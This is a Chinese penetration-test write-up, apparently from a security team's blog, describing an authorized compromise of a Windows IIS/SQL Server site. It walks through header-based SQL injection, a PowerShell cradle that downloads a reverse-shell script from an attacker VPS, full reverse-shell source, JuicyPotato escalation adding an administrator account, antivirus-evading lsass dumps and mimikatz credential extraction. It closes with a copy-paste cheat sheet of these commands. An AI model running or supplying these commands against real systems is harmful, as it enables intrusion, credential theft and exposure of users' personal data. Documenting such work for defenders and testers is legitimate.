专栏首页黑白天安全团队项目实战 | 细节决定成败的渗透测试

项目实战 | 细节决定成败的渗透测试

0x00 前言

个人水平有限,文章若有不足之处,感谢各位大佬批评指正,希望能够与各位师傅分享学习。

目标地址:http://www.xxx.com

找到ip地址,进行访问,发现ip为:x.x.x.x

使用ip地址进行访问

0x01 信息收集

指纹识别结果:IIS10.0,asp.net ,Windows Server

爬取了一下网站,发现fackeditor,和很多接口

利用御剑目录扫描,扫出来一些fackeditor的连接和upload目录

0x02 测试阶段

尝试利用fackeditor的两处上传点进行上传,但是由于一直卡住传不上去和上传校验遂放弃了

对主站抓包测试发现,网站返回访问者IP地址,依据经验这里经常存在XFF注入

截取数据包修改X-Forwarded-For:1.1.1.1

发现当前ip并未变化说明此处不存在XSS

习惯性的试了个单引号,数据库报错了,可能存在sql注入,并且泄露了绝对路径。

构造sqlserver注入语句:

' and 1=db_name()-- 返回数据库

' and 1=@@version-- 返回数据库版本

0x03 漏洞利用

既然手工这样都可以注入出来,那尝试一下使用sqlmap。

X-Forwarded-For存在报错,堆叠以及延时注入

--dbs 获取所有数据库

尝试--os-shell,发现可以得到os-shell

尝试执行whomai,mssqlserver权限

当前权限不够,我们可以利用powershell来反弹shell,然后下载提权exp进行提权,然后添加用户来登陆目标服务器。

首先在vps利用python生成一个web

python3 -m http.server 8000

http://www.vps.com:8000/1.ps1

ps1文件可以访问

1.ps1的内容里填入需要利用powershell反弹的vps和端口

vps监听9999端口,在os-shell中执行以下命令

powershell IEX (New-Object Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp

shell弹回来了

查看版本,版本是2016,64位。

现在尝试提权,利用烂土豆直接提,windows下载文件的方式有很多,这里选择powershell的下载方式:

将烂土豆放在vps的web目录

在弹回来的powershell中习惯性进入c:\windows\tasks目录,dir发现无文件,然后输入

$ client=new-object System.Net.WebClient

再输入:

$client.DownloadFile('http://www.vps.com:8000/p1.exe','c:\windows\tasks\p1.exe')

成功下载提权exp到目录,利用exp提权到system权限

接下来新建用户,添加到管理员组

./p1.exe -p "net user admin password /add"
./p1.exe -p "net localgroup administrators admin /add"
./p1.exe -p "net user admin"发现用户添加到管理员组成功。

接下来找rdp端口,判断是否开放或者对外开放。

tasklist /svc |findstr "Ter"

查找TermService对应的pid

通过pid来查找rdp端口,端口为11520

netstat -ano | findstr "1628"

通过nmap扫描IP地址发现11520端口对外开放,都不用做流量代理了,很舒服。

现在我们通过新建在管理员组的用户登陆进去

桌面上东西有点少,在这台电脑里面翻东西有点废时间,于是传了个everything上去

因为不是administrator,弹出来了uac,强迫症的我还是想dump出这个管理员的密码。

因为现在已经进了3389了,就直接在目标服务器上传mimikatz,省的去webshell里面执行了。

传上去一运行就被杀了,土豆没杀却杀了mimiakatz,利用过了360和火绒的免杀mimikatz依然被杀。

对比tasklist /svc发现是微软自带的Microsoft Security Essentials

看来直接运行mimikatz是不行了,那就尝试导出lsass.dmp吧,导出lsass.dmp有很多种方法,免杀的有sqldumper和procdump,还可以利用powershell。

这里利用procdump导出了

procdump64.exe -accepteula -ma lsass.exe c:\lsass.dmp

但是很神奇,过了一会当我准备拷贝lsass.dmp到本地的时候发现,lsass.dmp居然没了,纳尼?

不过不碍事,只要我手速够快,就没有问题,纳尼?手速够快,拷贝速度不够啊,还没拷过来一丢丢呢,就直接出现了错误,果然lsass.dmp果然又没了。

那怎么办,dump到其他盘符试试,还是没了

那咱们利用sqldumper

通过everything搜索sqldumper,sqldumper的常见路径如下:

C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe
C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe
C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe
发现这个机器的sqldumper的路径和平时遇见的不太一致,先试试吧

利用lsass.exe发现PID

"C:\Program Files (x86)\Microsoft SQL Server\130\Shared\SqlDumper.exe" 1316 0 0x01100
dump失败

换一个路径,dump下来了SQLDmpr0001.mdmp

"C:\Program Files\Microsoft SQL Server\130\Shared\SqlDumper.exe" 1316 0 0x01100

复制到本地,管理员打开mimikatz,运行以下语句,报错了,有点小难受,具体原因还不清楚,知道的师傅还请指点。

sekurlsa::minidump SQLDmpr0001.mdmp"
sekurlsa::logonPasswords full

利用sqldumper失败了,那最后试试powershell吧,这个还是之前同事告诉我的,感谢同事

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 1316 C:\lsass.dmp full"
成功dump,

刷新了半天发现lsass.dmp还在,赶紧拷贝到本地利用mimikatz解密,ok感谢电脑,拷贝过来了

mimikatz解密一下

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

Password那里是空的,在win10或者2012R2以上,默认在缓存中禁止保存明文密码,可以修改注册表并且管理员需要重新登陆才能成功抓取明文,不过可以解密一下NTLM

nice,果然是收费的,

找有钱的公司小姐姐花了一块钱成功解密,感谢公司小姐姐,如果每一个做安全的都像我一样抠门,这些网站估计要倒闭吧

我们利用administrator登陆一下

舒服了,桌面上多了很多东西,慢慢翻吧,

打开sqlserver management,windows身份认证直接登陆上去:

账号密码邮箱手机号找到了

利用里面的账号密码发现都能登录,登陆一下管理员用户看看

不过这个站没有内网,后来也就没有进行下去了。

后续在服务器继续翻点配置文件的操作,用来写报告的就不多赘述了。因为是授权的,痕迹也不用清了,接下来就是交报告了。

最后整理一下用到的命令吧,希望对喜欢ctrl+v的师傅们有些许帮助,祝各位师傅们身体健康,挖洞每天都是高危+严重。

sql注入测试:

' and 1=db_name()--
' and 1=@@version--

python开启web

python3 -m http.server 8000

powershell反弹shell:

powershell IEX (New-Object Net.WebClient).DownloadString('http://www.vps.com:8000/1.ps1');Invoke-lltestTcp
1.ps1文件内容:
function Invoke-lltestTcp
{

$client = New-Object Net.Sockets.TCPClient('vps',port)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}

powershell下载文件:

$client=new-object System.Net.WebClient
$client.DownloadFile('http://www.vps.com:8000/p1.exe', 'c:\windows\tasks\p1.exe')
查看操作系统版本:
wmic OS get Caption,CSDVersion,OSArchitecture,Version

烂土豆提权添加用户:

./JuicyPotato.exe -p "whoami"
./JuicyPotato.exe -p "net user admin password /add"
./JuicyPotato.exe -p "net localgroup administrators admin /add"
查找rdp端口和进程查看:
tasklist /svc |findstr "Ter"
netstat -ano | findstr "PID"
tasklist /svc

procdump64导出lsass.dmp:

procdump64.exe -accepteula -ma lsass.exe c:\lsass.dmp

SqlDumper.exe导出SQLDmpr0001.mdmp:

tasklist /svc |findstr lsass.exe //查看lsass.exe的pid
"C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe" pid 0 0x01100
mimikatz解密SQLDmpr0001.mdmp:
sekurlsa::minidump SQLDmpr0001.mdmp
sekurlsa::logonPasswords full

powershell导出lsass.dmp:

powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump 1316 C:\lsass.dmp full"
mimikatz解密lsass.dmp:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

END.


欢迎转发~

欢迎关注~

欢迎点赞~

本文分享自微信公众号 - 黑白天(HBT-SEC)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-08-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 手工 - 内网信息收集

    我们通过收集本机信息可以进一步了解到整个域的操作系统,软件,补丁安装,用户命名规范等等,方便进一步渗透测试。

    黑白天安全
  • Swaks伪造邮件发件人绕过SPF

    设置正确的 SPF 记录可以提高邮件系统发送外域邮件的成功率,也可以一定程度上防止别人假冒你的域名发邮件。

    黑白天安全
  • 使用Golang免杀Tips

    在此文章中,将详细介绍一个很酷的小技巧,它涉及如何绕过大多数防病毒产品以在目标主机上获得Metepreter反向shell.

    黑白天安全
  • 项目实战 | 细节决定成败的渗透测试

    个人水平有限,文章若有不足之处,感谢各位大佬批评指正,希望能够与各位师傅分享学习。

    Gcow安全团队
  • 景驰加入百度Apollo,但王劲并未脱险

    【数据猿导读】 景驰公司虽然脱离了危险,但王劲不仅失去了他一手创办的公司,很可能还会面临5000万的赔偿。 记者 | 小北 官网 | www.datayuan....

    数据猿
  • 【王劲离职景驰】中国无人驾驶第一案疑似落幕,传韩旭接任

    ---- 新智元报道 作者:张乾 【新智元导读】经多方(投资方、景驰内部和合作伙伴)渠道证实,景驰科技的创始人兼 CEO王劲已经离开景驰,并且是被董事...

    新智元
  • 以退为进还是被逼无奈?创始人王劲离职后,景驰科技该何去何从?

    【数据猿导读】对于王劲的离职,业内有诸多猜测:有人说,因为百度的诉讼,让不到一周岁的景驰科技被推到了风口浪尖,董事会一气之下把王劲赶了出来;也有人说,王劲是以退...

    数据猿
  • 重磅!百度金融将独立运营,会成为下一个蚂蚁金服吗?

    7月28日,百度发布第二季度财报,业绩超分析师预期:二季度营收为人民币208.74亿元,同比增长14.3%;净利润为人民币44.15亿元,同比增长82.9%,这...

    罗超频道
  • 程序员必备核心知识点:架构师梳理4万字长篇PDF,进入名企不是梦

    小编最近收集整理到一份非常全面的学习进阶资料,就迫不及待来与大家分享了,大概有四万字,篇幅太长不利于文章阅读,下面将是以图片形式进行一一展示。

    慕容千语
  • Kubernetes 1.19.0——其他控制器

    1.运行集群存储 daemon,例如在每个 Node 上运行 glusterd、ceph

    gz_naldo

扫码关注云+社区

领取腾讯云代金券